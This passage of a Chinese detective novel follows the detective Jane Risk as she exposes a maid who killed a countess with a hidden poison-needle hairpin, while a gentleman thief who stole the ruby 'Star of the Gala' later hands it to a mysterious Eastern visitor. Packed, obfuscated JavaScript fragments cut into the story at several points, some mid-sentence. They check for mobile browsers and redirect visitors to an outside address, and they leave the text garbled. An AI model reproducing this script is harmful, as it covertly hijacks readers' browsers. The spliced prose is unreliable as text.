“但是！…”我忍不住开口。 “好了，弗瑞，看看，在壁炉架上的。”简从他风衣里掏出一张卡片。 我接了过来，标志性的十字架，这是怪盗克罗斯的卡片，流畅而略显张扬的花体字。 这里也给各位读者附上。 致：苏格兰场诸位可敬的（或者说，又一次姗姗来迟的）老爷们，以及舞会上那些戴着面具，心怀鬼胎的“体面人”。 当你们读到这张卡片时，想必那场华丽的舞会闹剧已然收场？空气中弥漫的，除了香槟的余味，想必还有荒谬的诅咒论调 关于那颗名为“盛会之星”的红宝石？ 是的，它已不在克里米亚夫人那不再起伏的颈间。 它此刻正安然躺在一个配得上它真正价值的地方（或者说，一个能暂时避开你们拙劣目光的地方）。 这份小小的“易主”手续，是我，Cross，完成的。 一如既往的干净利落。这份成就，我欣然认领。 然而！关于埃米尔·德·克里米亚夫人那冰冷的端坐姿态，请立刻停止你们那套将我与谋杀混为一谈的愚蠢臆测！ 这不仅是侮辱，更是对我品味和原则的彻底误解！ 我，Cross。 从不染指无谓的鲜血，更无意扮演死神的信使。 死亡是如此的粗鄙且缺乏美感，它只会彻底毁掉一件精心策划的艺术品的优雅格调。 为了确保我那小小的“拜访”不受打扰，我确实在女仆露西小姐的水杯中，添加了确保安眠的安眠药。 仅此而已！当然，不要怀疑我的专业性。这点药理常识，鄙人还是具备的。她只需在美梦中沉睡片刻。 当然，让她喝下去，费了我不少手段。这位小姐过于警惕和害怕了，害得水还洒了不少。 至于那位不幸的夫人？她在我进去的时候就已经是那种状态了。她的死亡，与我抵达的时间，只是一个令人遗憾的巧合。 那么，是谁让克里米亚夫人永远闭上了眼睛？啊哈！这才是真正值得诸位（以及那位目光锐利的里斯克小姐）去探究的谜题，远比一颗宝石的去向更令人着迷！留意那些同样曾踏入这扇门的面孔吧。 当然，你们怀疑我，我也是没有办法的，但是前提是你们找到我，啊哈！ 真正的凶手，就藏在你们之中。他（或她）的动机，或许与宝石无关，却与夫人本身紧密相连。去寻找那隐藏在华丽面具和体面言辞之下的杀机吧。 那才是你们真正该挖掘的“诅咒”。 祝你们不会在错误的道路上，继续你们那缓慢而笨拙的探戈。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977651|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >Cross，一个绅士的怪盗。 又及：感谢那位故意将红酒泼洒在我制服上的小姐（简小姐），这抹意外的“装饰”为今晚增添了一份独特的戏剧性。 再及：苏格兰场的诸位，请努力。 卡片在我手中仿佛有了重量，沉甸甸地压在我的心头。 Cross！ 他承认了盗窃，否认了谋杀，甚至解释了露西的昏迷…… 但他也像撒旦一样，将怀疑的种子播撒在每一个人头上，甚至包括他自己。 “他…他在这里？”我声音干涩，“他伪装成了侍者？然后……走了？” “显而易见。”简的声音恢复了完全的冷静，甚至带着不易察觉的兴味。 “他留下了他的签名，他的声明，还有他的…游戏规则。” 她从我手中抽回卡片，指尖不经意地划过我的手背，那凉意让我一个激灵。 “可是简！”我心中的恐慌并未因克罗斯的澄清而消散，反而被另一种更尖锐的疑虑取代。 “他说夫人…在他进入时就已经死了？这是真的吗？他会不会在说谎？而且，他提到‘同样曾踏入这扇门的面孔’，他知道凶手？” 简没有立刻回答。 她的目光越过我，投向虚掩着门的东休息室，那里躺着克里米亚夫人早已冰冷的躯体。 昏黄的光线勾勒出她侧脸的轮廓，显得异常专注，甚至有些……疏离。 读者们，就在那一刻，我脑海中电光火石般闪过一个念头，一个让我血液几乎凝固的念头。 简刚才并不在东休息室。 她声称要留在那里调查现场，但我冲进去时，那里空无一人。 她是从外面回来的。 她去了哪里？她去见了谁？或者说，她做了什么？ 克罗斯卡片上那句“感谢那位故意将勃艮第泼洒在我制服上的小姐（简小姐）”像毒蛇一样钻进我的脑子。 简泼了克罗斯一身酒？ 这我有印象，那个侍者，虽然我当时感觉奇怪，但我以为只是一个意外。 从这卡片还有简的行为来看，她和这个怪盗克罗斯，极大可能是认识的。 但是，她没有告诉我。 我再一次清楚地知道，我并不了解这个人，简·里斯克小姐的过去。 “弗瑞，”简的声音打断了我的胡思乱想，“现在不是发呆的时候。” 她顿了顿，“回西休息室去，弗瑞。看好他们每一个人。尤其是，”她的声音压得更低，“那位神秘的东方先生。还有…露西。她醒了，问问她，夫人进入休息室后，除了她自己，还有谁进去过？在夫人‘休息’期间，她是否听到或看到了任何异常？还有，收好卡片。” “那你呢，简？”我忍不住追问。 简的目光重新投向那克里米亚夫人死亡的休息室。 “我？我要回去，好好‘拜访’一下克里米亚夫人。克罗斯或许偷走了宝石，但他未必能抹去凶手留下的所有痕迹。”她轻轻推开那扇门，身影没入那片昏黄与死亡的阴影中。 门在她身后轻轻合上，留下我一个人站在走廊里，手中还握着怪盗的卡片。 代表欲望的宝石被诅咒偷走了，诅咒本身却化身为一个活生生的凶手，正安然地待在西休息室里，或许就在我的眼皮底下。 而简，她此刻独自面对死亡，她的冷静下，又藏着多少我尚未知晓的秘密？ 26.3.4 推开厚重的休息室门，五双眼睛齐刷刷地聚焦在我身上。 奥古西斯·西里弗斯先生率先打破了沉默，异域的腔调里带着刻意的轻松。 “啊，弗瑞小姐！您回来了。里斯克小姐呢？她是否为我们带来了……嗯，一些进展？”他的目光锐利地扫过我紧握卡片的手。 丽拉·乔安里维奇夫人重重地哼了一声，她端坐在最靠近壁炉的丝绒扶手椅里。 “进展？我只希望尽快结束这场闹剧！西里弗斯先生，您刚才提到的宝石，那颗‘盛宴之眼’，它……” “是‘盛会之星’，夫人。” 西里弗斯微笑着纠正，眼神却飘向门口，似乎在期待简的出现。 “一颗凝聚了东方智慧的瑰宝，传说能映照人心最深切的渴望……可惜，现在恐怕……” 他意味深长地拖长了尾音，目光最终落在我身上。 莫里安，那位艺术家，在克里米亚夫人死亡之后就一直沉默寡言着，他只是微微抬了抬眼皮，又迅速垂下，盯着自己交握的双手。无声地散发着颓靡的气息。 那位神秘的东方先生，则独自坐在离众人稍远的阴影里。 他依旧目光沉静如水，越过氤氲的烟气（或许只是他习惯性的动作），落在一旁蜷缩着的身影上。 那是刚刚苏醒不久的女仆露西。 他的眼神里没有好奇，没有焦虑，只有一种近乎漠然的审视。 露西！ 我的心猛地一跳。简的叮嘱在耳边回响，“问问她，夫人进入休息室后，除了她自己，还有谁进去过？在夫人‘休息’期间，她是否听到或看到了任何异常？” 但此刻，一个冰冷清晰的念头钻进我的脑海。 她就是凶手。 读者们，是的，就是她！那个看似最无害，最惊恐，最值得同情的贴身女仆！ 读者们，我知道这个认知来的没有任何理由，但是，当时的我就是这么感觉的。 想想吧，谁最有可能杀害克里米亚夫人，或者谁最要克里米亚夫人死呢？ 那个艺术家莫里安？想想他的态度，或者他现在的失魂落魄。不如说，克里米亚夫人活着，才是对那位所谓的艺术家最好的。 一位活着的贵妇人的怜爱，总比一位死去的情人，所提供的帮助要好得多。 至于奥古西斯·西里弗斯先生，我们都知道他想要的只是宝石，他并不需要克里米亚夫人的命。 他大可以找一个怪盗，像克罗斯那样的人，将宝石是偷到手，或者花费大量的钱财。 他没必要为此背负上杀人的罪名，甚至是亲自动手。 至于乔安里维奇夫人，虽然她近乎无礼，但是，我不认为她是凶手。 毕竟，露西在里面！她一直在！ 只有露西！她就是凶手！ 她是克里米亚夫人最亲近的人！ 谁能比贴身女仆更有机会下药行凶？谁能比她在夫人“休息”时接近夫人更不引人怀疑？ 她“昏迷”了！多么完美的掩护！完美的“不在场证明”！ 克罗斯，说为了让露西喝下掺了安眠药的水他费了不少手段，也就是说在那之前露西是醒着的。 她和可能已经死亡了的克里米亚夫人共处一室，她没有尖叫，也没有恐慌。 因为人可能就是她杀的。 读者们，当我意识到这一点的时候，她的惊恐（那几乎要晕厥的惊恐…）是多么精湛的表演！是为了掩盖心虚？还是为了博取同情，让我们放松对她的警惕？ 动机！贴身女仆…… 谁知道夫人对她做过什么？ 苛刻的对待？难以忍受的羞辱？或者，她觊觎那颗价值连城的宝石？或者……两者皆有？ 欲望的宝石和诅咒。 也许诅咒并非虚无缥缈，而是根植在人心最阴暗的角落。 比如一个长期心怀怨恨的女仆心中！ 我深吸一口气，努力压下几乎要脱口而出的指控。 简不在，我不能打草惊蛇。 我必须撑起这个局面，但这次，我的目标只有一个。她。 我尽量让自己的声音听起来平稳些，忽略西里弗斯和乔安里维奇夫人探究的目光，径直走向露西。 至于那位东方先生，他一向用他那洞悉一切的眼睛注视着所有。 “露西，”我尽量放柔了声音，在她面前蹲下，目光紧紧锁住她躲闪的眼睛。 “你感觉好些了吗？”我在观察，观察她瞳孔深处是否藏着心虚和杀意。 露西颤抖着抬起头，眼睛里似乎充满了惊惧和迷茫的泪水。 “本小姐？我…我怎么了？夫人…夫人她……”她似乎想挣扎着站起来，却又浑身无力地跌坐回去。 多么逼真的表演！我几乎要为她鼓掌。 “别急，露西，慢慢说。”我轻轻按住她的肩膀，阻止她起身，这个动作带着一丝不易察觉的力道。 读者们，我感到她的身体在我手下瞬间僵硬了一下。 “你还记得夫人进入休息室之后的事情吗？夫人说她需要休息，让你在守着。除了你自己，还有其他人进去过吗？” 我刻意强调了“除了你自己”。 听了我的问题，乔安里维奇夫人挺直了背脊，西里弗斯停止了喝咖啡，莫里安的肩膀似乎绷得更紧了。 连那位东方先生，夹着烟斗的手指也极其轻微地顿了一下。 露西努力回忆着，眉头紧锁，带着刚被唤醒的恍惚。 “是…是的。夫人进去后不久，乔安里维奇夫人就来了……她好像很生气…”她怯生生地瞥了一眼那位贵妇。 她又在试图引导！ 乔安里维奇夫人脸色一沉，立刻尖声道，“我是进去过！那又怎样？我是为了向克里米亚表达我的歉意，一点小事，她不至于一人生闷气吧！！难道这就能证明什么吗？荒谬！”她激动地挥舞着手臂。 “夫人，请冷静。”我不得不提高声音打断她，但我的目光没有离开露西，“对了，我注意着你出来的时候似乎特别生气？我能问问为什么吗？” “没什么，不过只是一些小冲突罢了，我好心去劝她，她甚至都不愿意和我说话！。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984091|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “也就是说，那个时候，你并没有克里米亚夫人。”我注意着面前的露西问。 “当然！不然…” “感谢您，夫人。”我说，“对了，露西，我记得你要了一杯水。” 露西咽了口唾沫，眼神更加慌乱地扫过众人。 “是…是的”她声音带着刚苏醒的沙哑，“到休息室后。夫人说空气闷得她头疼……让我…让我去要一杯清水来……” 她停顿了一下，似乎在努力拼凑零碎的记忆碎片，目光无意识地飘向门口的方向，又迅速收回，带着惊惧。 “我…我打开门，叫了侍者……”她的声音带着慌乱，“然后…然后西里弗斯先生就…来了！他问我夫人怎么样了，能不能让他进去看看‘盛会之星’，说要给保养建议……” “我告诉他夫人需要休息，现在不方便……”露西的声音微弱但清晰，她似乎害怕地瞥了一眼西里弗斯，“然后…然后我端水…就回休息室了…” 她深吸一口气，身体微微颤抖，仿佛接下来的回忆让她更加痛苦。 “我…我刚把水杯递给夫人不久……门…门就被猛地推开了！”露西的声音带着惊吓。 “乔安里维奇夫人…她…她就那么闯了进来！她说‘行了行了，多大点事，至于吗？’…她…她好像很生气，直接走到夫人面前……” 露西的眼神充满了恐惧和当时的无措，“夫人…夫人那时靠在榻上，闭着眼，好像不想理她…乔安里维奇夫人说了几句，见夫人不回应，她就…就更生气了，哼了一声，转身就走…” 露西的叙述在这里出现了短暂的停顿，她的呼吸变得急促。 “乔安里维奇夫人刚走…可能…可能就一小会儿……”她似乎在努力回忆着，“门…门又开了……是西里弗斯先生…” 西里弗斯先生此时适时地姿态优雅地清了清喉咙，脸上带着被提及的无奈和理解。 “是的，露西小姐。我确实再次进入了休息室。正如我之前所说，我过于挂念那颗稀世宝石的状态。我看到夫人依旧闭目靠在榻上休息。”露西在他说话时几不可察地瑟缩了一下。 “露西小姐你站在一旁。我低声询问了宝石的情况，表达了我的忧虑，并提出可以帮忙检查。但夫人似乎睡得很沉，没有任何反应。露西小姐你也示意夫人需要安静。我见不便打扰，便再次告退了。整个过程非常短暂，我发誓我绝未靠近夫人榻边，更未触碰任何东西。” 他的目光温和地落在露西身上，“露西小姐，是这样吗？你当时也在场。” 露西在他的注视下，脸色更加苍白，嘴唇颤抖着，最终只是极其轻微地点了点头，声音低得几乎听不见。 “…是…是的……先生您…您很快就出来了……”她避开了西里弗斯关于夫人状态的具体描述。 我紧盯着露西的反应。 西里弗斯巧妙地利用露西的在场来佐证他的无害和短暂停留，并再次强调“未靠近”“未触碰”。 而露西点头承认他进入并很快离开，却在夫人状态的细节上含糊其辞，甚至带着一丝不易察觉的抗拒。 27.3.5 露西对夫人状态的描述始终含混不清，她的意思反应也绝非正常。 她越是试图将嫌疑引向他人，我越是确信她藏着的秘密，那足以致命的秘密。 空气似乎又安静下来了，只有露西小声地哭泣着。 门被无声地推开了。 简·里斯克站在那里。 她的脸上没有任何表情，冰冷，锐利。 简的目光缓缓扫过室内众人，最后定格在露西身上。那眼神让女仆不由自主地瑟缩了一下。 “各位，”简的声音带着不容置疑的权威，“克里米亚夫人的死因，已经确认了。” 简的目光再次扫过众人，仿佛在观察他们脸上细微的表情变化。 “并非诅咒，也非怪盗克罗斯的安眠药。夫人死于一种极其罕见的、发作迅猛的剧毒。” “毒药通过一种极其精巧的装置注入体，一根细如牛毛的毒针。”她微微举起手中那个被手帕包裹的小物件。所有人的呼吸都为之一窒。 “这种毒药，”简的语气中透着熟悉。 “其配方和施毒的手法，源自东方。无色无味，中毒者会迅速陷入昏迷，外表看起来如同安详入睡，随后在极短时间内停止心跳。唯一的明显特征，是在施针处会留下一个微不可见的红点，需要非常仔细的检查才能发现。很不幸，我找到了它，就在夫人颈后发际线下方。” 休息室内一片死寂。 我想大家的脸色都并不好看。 “这种毒针装置，”简的话带着胸有成竹。 “需要近距离的精确刺入目标。在确认死因后，我对所有可能接近夫人的人进行了必要的背景了解和行踪核实。” “露西，作为夫人最贴身的女仆，你无疑拥有无数次机会，在整理夫人头发或衣领时，神不知鬼不觉地将毒针刺入她毫无防备的颈后。” 简的目光锐利，“是你吗？你的武器是什么？也许是…你头上的发簪？” 她像在问露西，又似乎早就知道答案。 我感觉简的状态很奇怪，太尖锐了，她…… 听了简的话，露西的脸色瞬间煞白。 她的手下意识地飞快摸向自己脑后盘得一丝不苟的发髻，随即又像被烫到一样猛地缩回手。 这个动作在死寂的房间里显得无比突兀。 简没有放过这个反应，她的声音更加清晰有力。 “这足以说明凶手的作案手法和可能的凶器。而关于这种精巧的东方毒针装置的来源……” 她停顿了一下，“克里米亚夫人之前来信曾提到，自取出‘盛会之星’宝石后，女仆总念叨夜间听见先生过去的房间有脚步声。我想，那并非下人的幻想。” 克里米亚夫人的来信，我给简念过的，事情到现在，我几乎完全把这个忘掉了。 但是，简还记得，这是她的突破点吗？ 读者们，我只能说，后来我明白，我们总要注意任何细微的疑点。 这是身为侦探的基本素养。 抱歉，我有自顾自说起来了。 当时的露西开始剧烈地颤抖。 出于恐惧？出于激动？ “那是在寻找东西。”简说，她的话语还在继续。 “寻找克里米亚先生生前收藏的东方奇珍中，某件被遗忘的带有特殊机关的物品。” “我检查了克里米亚先生生前的书房和收藏室，并查阅了管家保管的遗物清单。”她说。“幸运的是，我发现了一条明确的记录。” 简从口袋中取出一张折叠的纸，并未打开，但其存在本身便带有强烈的说服力，“乌木珍珠发簪一支，内藏精巧机关。对了，清单上，并无其他类似物品的记录。” “所以，露西小姐，是你。”简问，语气有些轻，话里的意思却很沉重。 “不！不是我！”露西猛地尖叫起来，声音凄厉刺耳。 “我没有！我怎么会……是他！毒药不是来自东方吗？”露西慌乱地指向一旁的东方先生，这是她最后的挣扎。 而东方先生只是注视着这一切，眼神中带着深沉的悲哀，并无一丝慌乱。 “还有……还有那个侍者！”露西慌乱地说。 “露西，”简的声音平静得可怕，彻底粉碎了她的希望。 “这份清单就在这里。而发簪”简的目光扫过露西下意识护着的发髻，“我想，检查一下，并不是难事。” “当然，我对其他可能的来源，包括东方先生的物品和行踪，也进行了核查，并没有发现类似装置或近期获取毒药的迹象。此外，以他的身份，恐怕此时并不会愿意引起国际纠纷。” “至于侍者。很抱歉，他不是凶手。”简坚定地说。 “而且，最开始，你不是也没想藏吗？”简浅绿色的眼睛带着洞察。 “这不是你选定的舞台吗？用先生的旧物，用这种场合。你害怕了？为什么？”简问，我能感觉到她是真心实意地对露西现在的害怕感到好奇。 上帝啊！ 露西仿佛被抽走了所有力气，指向东方先生的手颓然落下，整个人僵在原地。 “哈…”她捂住脸发出轻笑，“你说的对…但是我才没有害怕！没有！我不需要害怕！” 她嘶吼着。 突然！ “去死去死去死，你毁了我！”超出所有人的预料，莫里安先生暴起，掐住了露西的脖子！ 而露西，整个人陷入窒息，面色涨红，却控制不住地笑。 他的动作太快，太突然，充满了的疯狂！所有人都惊呆了，连反应最快的简都因距离而慢了半拍！ 莫里安那双手此刻死死掐住了露西的脖颈！他全身的重量都压了上去，将露西连同椅子一起狠狠压倒在地毯上！ “呃…呃…！”露西的双手徒劳地抓挠着莫里安的手臂，双腿在地上疯狂地蹬踹。 死亡的阴影瞬间笼罩了她。 “你杀了她！你杀了我的希望！我的未来！你这条毒蛇！”莫里安嘶吼着，声音因用力而变形，唾沫星子飞溅，“没有她…没有她的钱…我的一切都完了！都毁在你手里了！给我去死！” 整个西休息室乱成一团！ 我下意识想冲上去，却发现完全无法下手。而简，你不能指望一个人会飞。 就在这千钧一发之际！ 一道身影特别快！那位一直沉默在阴影中的东方先生动了！ 他的动作没有丝毫拖泥带水！ “呃啊！”莫里安发出一声短促的痛呼，扼住露西脖子的手猛地一软！ 东方先生顺势手腕一翻，一股巧劲送出，莫里安整个人便被一股不可抗拒的力量推得踉跄着向后跌坐在地毯上，狼狈不堪。 “咳咳咳…嗬…嗬嗬……” 露西终于获得了宝贵的空气，蜷缩在地上剧烈地咳嗽，干呕，脖子上清晰地浮现出紫红色的指痕。 她大口喘息着，劫后余生的生理反应让她忍不住颤抖。 简赶了过来，只是用身体巧妙地隔开了她与莫里安。 而东方先生依旧注视着，眼神依旧沉静如水。 而就在这时，沙哑的笑声，从地上蜷缩的露西喉咙里断断续续地挤了出来。 “呵…呵呵呵……咳咳……哈哈哈哈……” 她一边痛苦地呛咳，一边却控制不住地大笑，笑声越来越大，越来越尖锐。 她抬起布满泪痕和红痕的脸，死死盯着跌坐在地的莫里安，眼中是刻骨的仇恨和鄙夷。 “毁了你？哈哈哈哈……” 露西那带着疯狂快意的笑声，撕扯着西休息室里每一个人的神经。 她一边呛咳，一边死死盯着地上崩溃的莫里安，眼中燃烧着复仇之火和近乎神圣的疯狂。 “毁了你？”她重复着，声音嘶哑，令人不寒而栗。 “莫里安，你这种只懂得摇尾乞怜的寄生虫，也配谈‘毁’？你从头到尾，不过是夫人用来打发无聊时光的一件玩物！一件她随时可以丢弃的垃圾！” 莫里安如遭雷击！ 他脸上的血色也褪尽了，嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991685|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇剧烈地颤抖着，眼中的疯狂被彻底踩碎自尊的绝望和羞辱取代。 他整个人瘫软下去，双手死死捂住脸，从指缝里溢出压抑不住的绝望痛苦的呜咽。 而露西，她猛地转头，看着所有人，带着一种孤注一掷的决绝。 “你们！”她的声音拔高，带着悲壮。 “你们以为我是为了什么？为了那颗宝石？为了夫人的苛待？” 她猛地摇头，泪水混合着颈间的伤痕渗出的血丝，在她脸上留下蜿蜒的痕迹，显得异常凄厉。 “不！你们错了！大错特错！” 她挣扎着，用尽全身力气撑起上半身，强迫自己的脊背挺得笔直。她的眼神穿透了眼前的混乱，望向虚空，似乎充满了对某个逝去灵魂的无限忠诚。 “是为了克里米亚先生！” 她嘶吼着，每一个字都像从灵魂深处呕出的血，“是为德·克里米亚先生！那位真正高贵正直的，值得所有人敬仰的绅士！” 她的声音因激动而颤抖，却带着一种不容置疑的坚定。 就像是在告诉所有人，有似乎在说服自己。 “那个女人！” 露西指向东休息室的方向，眼中是刻骨的恨意。 “她根本不配冠上克里米亚这个姓氏！她嫁给了先生，却从未珍惜过先生给予她的一切！先生在世时，她就不安分！先生尸骨未寒，她就把先生留下的遗物当成她招蜂引蝶的工具！那颗‘盛会之星’，那是先生从遥远的东方带回来，视若珍宝，象征着对爱情忠贞不渝的信物！可她却把它挂在脖子上，在舞会上向那些贪婪的男人炫耀！用它来吸引像莫里安这样的败类！” 她喘息着，目光里却充满了恨意。 “她甚至计划着卖掉它！卖掉先生的心意！她玷污了克里米亚家族的荣誉！她背叛了先生对她的爱和信任！她把先生留给她的一切，都踩在脚下！这是玷污！” 露西的声音充满了极致的痛苦和愤怒，“我看着她一天天沉沦，看着她把先生留下的家变成一个充满虚伪和欲望的巢穴……我再也无法忍受她对先生记忆的亵渎！” “我是先生带进这个家的！是先生给了我尊严和庇护！在我心里，克里米亚先生……我要就是守护好他留下的一切……侍奉夫人…还有处决那个女人……守护好他的名誉！” 露西的声音低沉下来，带着令人毛骨悚然的平静，“那个女人，她活着，就是对先生最大的背叛和不敬。她必须消失。” 她缓缓抬起手，颤抖的手指指向自己散乱的发髻。 在众人惊骇的目光中，她猛地从发髻深处拔出不起眼的乌木发簪。 “看！”她将那发簪举到眼前，脸上浮现出一种病态满足的微笑，“先生当年从东方带回来的小玩意儿……多精巧啊……小姐…这是先生…你说的对…” 她极其轻微地一拧。发簪尖端的乌木竟弹出了一小截毒针。 “只需要轻轻一下…就在她毫无防备的时候……”露西痴迷地看着那致命的尖端，仿佛在回忆那决定性的瞬间，“…她甚至来不及哼一声，就‘安静’下来了…就像她终于…终于停止了对先生的背叛……” 露西的叙述戛然而止。 她不再看任何人，只是喃喃低语，像是在对某个人诉说。 “我做到了，用先生赐予的…先生…她再也不能…再也不能背叛您了…克里米亚家的荣誉…我守住了……” “我是对的…我做到了…先生会为我骄傲……我没有害怕…害怕…为什么要害怕…” 我感到不可置信，露西，竟然将谋杀，誉为守护？ 她是否后悔呢？又是否真正害怕呢？没有人知道。 简依旧面无表情，似乎早已对这种事情习以为常。 她很少关心凶手的理由。 她要的是，真相。 那位神秘的东方先生，轻轻叹了口气，声音低沉得如同叹息的风。 走廊外传来了沉重而急促的脚步声。 苏格兰场的警探们，终于到了。 28.3.6 带队来的警探长我此前并没有见过。 但是，谢天谢地，不是霍华德就行。 “小姐们好，我是查尔斯·怀特。” 那是一位很彬彬有礼的绅士，约莫三十多岁，挂着爽朗的笑，对我们的态度也很友好，对简甚至还有些恭敬。 “希望我们之后能有很好的合作。”查尔斯·怀特是这么说的。 杀害克里米亚夫人的女仆露西被带走了。 偷走“盛会之星”的怪盗克罗斯却不知所踪。 苏格兰场的人带走了那张卡片，他们必然是按着惯例对怪盗克罗斯追加悬赏，然后尽力地搜寻一下。 至于其他人，这个充满着诅咒戏剧的华丽夜晚终于结束了。 “先生，我想你不介意停留一下。” 简叫住了那位神秘的东方先生。 “当然，小姐。” “怪盗克罗斯，”简就像是自顾自地说着，“他要的不是石头。是戏。是宝石掀起的风暴，是整个伦敦的惊惶，是追捕者徒劳的奔忙。一场盛大的表演。他得到了。” 她向前一步，我站在一旁，看着他们近乎对峙。“那颗“盛会之星”？对他而言，不过是落幕时随手丢弃的道具。” 东方先生眼睫极轻微地抬了一下，深沉的眸子终于聚焦在简脸上。 “您呢？”简的声音压得更低，“您来到这，想从那颗石头里得到什么？价值？还是…别的？” 休息室里死寂一片，远处的警笛声若隐若现，模糊不清。 尘埃在微弱的光里缓缓沉浮。 许久，东方先生开口，声音低沉如同旷古的回响，“它不属于这里的喧嚣。它需要……回去。” “回去。”简重复了一遍。 然后，她沉默了，就像是在沉思。 “那么，您或许该去找找我们那位谢幕的演员。”她的声音很轻，“‘老磨坊’，河湾上游。午夜。他或许在等最后一个观众。或者说，等一个收场的人。” 说完，她不再停留，“弗瑞，我们走吧。” “好的。”我忍住了想问出口的话，跟着简离开了。 出了克里米亚庄园，我才终于感觉好受一些。 “简，你认识克罗斯。”我迫不及待地问，其实已经是肯定了，“你也许有些事要和我说。” “嗯，弗瑞，他是…呃…我过去的老熟人。”简似乎不知道怎么说。 我们转过一个街角，煤气路灯昏黄的光晕将我们的影子拉长又缩短。 简忽然停了下来。 我差点撞上她。 她转过身，夜色中，没有解释，没有安抚的言语，她只是伸出双臂，轻轻地将我拥入怀中。 这个拥抱来得突然，带着她身上惯有的气息。很短暂，却异常坚实。她的手臂环着我的肩膀，传递出一种无言的力量，一种超越所有秘密的承诺。 “相信我，好吗？”她的声音贴着我的发顶响起，低沉，却带着近乎恳求的柔和。 我的心跳漏了一拍，所有盘旋在舌尖的追问，关于克罗斯，关于他们的“过去”，关于她为何如此笃定他会交出宝石，都被这个拥抱和这句简单的请求堵了回去。 她身上有太多的阴影，太多我不能触及的角落。 但此刻，在这条清冷的街道上，在她难得流露的脆弱（如果那算是脆弱的话）面前，信任似乎成了唯一的选择，也是我早已做出的选择。 “嗯。”我最终这样应道。 我本来也足够信任她，只是她有太多的事情不能告诉我。 “那颗宝石？”我问。 “克罗斯会将一切得到的东西赠给他认为应该的人，当然，也包括他自己。或者说，一切随他心意。”简说。 我随她远离。 简没有带我回住所，也没有去苏格兰场。 我们来到了泰晤士河上游一处荒凉偏僻的河湾。 空气中弥漫着河水特有的腥气和腐朽味道。远处，废弃老磨坊的巨大黑影如同庞大的怪物一样笼罩在岸边。月光稀薄，吝啬地涂抹出它破败的轮廓。 “在这里等。”简的声音低得几乎被风声淹没。“别出声，弗瑞。只是看。” 我抓住她的手，踩着湿滑的泥地和破碎的瓦砾，悄无声息地靠近磨坊。 简选了一处背风的断墙残骸，阴影浓重，刚好能容下我们两人。 前方不远处，就是那个早已停转的巨大水轮，黑黢黢的，一半浸泡在缓慢流淌的浑浊河水里。 时间在这里是微不足道的。 只有风声在朽坏的木架和断裂的齿轮间呜咽穿梭，还有河水拍打岸边的单调声响。 午夜钟声从遥远的城镇飘来，虚幻而空洞，恰好十二下。 最后一声余韵被风声撕碎。 就在这时，一道身影如同从水轮旁的浓重阴影中出来，悄无声息地立在了那里。 是那位东方先生。 他身形挺拔，在惨淡的月光下只是一个更深的剪影，仿佛本就是这片废墟的一部分，沉静得如同礁石。 几乎在他站定的同时，磨坊深处，那巨大的阴影里，响起了脚步声。 不疾不徐，踏在碎石和朽木上，清晰得带着一种刻意的韵律。 怪盗克罗斯。 他穿着一身标志性的礼服，但此刻显得异常狼狈。昂贵的布料沾满了灰尘和泥浆，有几处甚至被勾破了，领结歪斜地挂在脖子上。脸上带着怪异的面具。 “啊哈……” 克罗斯的声音在空旷的废墟里响起，带着夸张的咏叹调，却掩饰不住深处的沙哑和力竭。 “这有一位品味独到的观众……赶在幕布彻底落下之前。” 他停下脚步，目光落在水轮旁那个沉默如山的剪影上，嘴角扯出笑，“还是说，是有人让你来收场的？” 东方先生没有任何回应，连一丝细微的动作都没有。只有夜风吹动他长衫的下摆。 “好吧好吧，又是里斯克。我真的不懂她了。”克罗斯似乎带着无奈地抱怨。 克罗斯似乎并不在意东方先生的沉默。 他自顾自地环顾着这片破败的景象，像是在检视舞台的布景。 “盛大，华丽，无与伦比…啊哈…”他喃喃自语，声音低了下去，更像是在回味。 他低低地笑了两声，“多么辉煌的终章！足以让任何小偷在坟墓里笑醒。” 然后他的目光最后落回东方先生身上，带着一种奇异的审视，“至于这……” 他的手随意地伸进礼服内袋。再伸出时，掌心托着一物。 即使光线如此黯淡，我依然认出来了。 是“盛会之星”。 它静静地躺在他掌心，冰冷地反射着残月微弱的光辉。 “……交出去也不是不行，反正已经结束了。” 克罗斯的语气轻佻散漫，仿佛在谈论一颗无用的石子。 他低头，最后一次凝视着掌心，面具下的眼神难以看清，但那微微倾斜的头颅透出一种彻底的厌倦和释然。 没有犹豫，没有留恋。他手腕随意地一甩。 那颗价值连城的红宝石，悄无声息地落入了东方先生摊开的掌心。 东方先生稳地接住了它。 克罗斯看着宝石落入对方手中，面具下的嘴角似乎动了一下。 “带它走吧。”他的声音轻飘飘的，像一阵即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 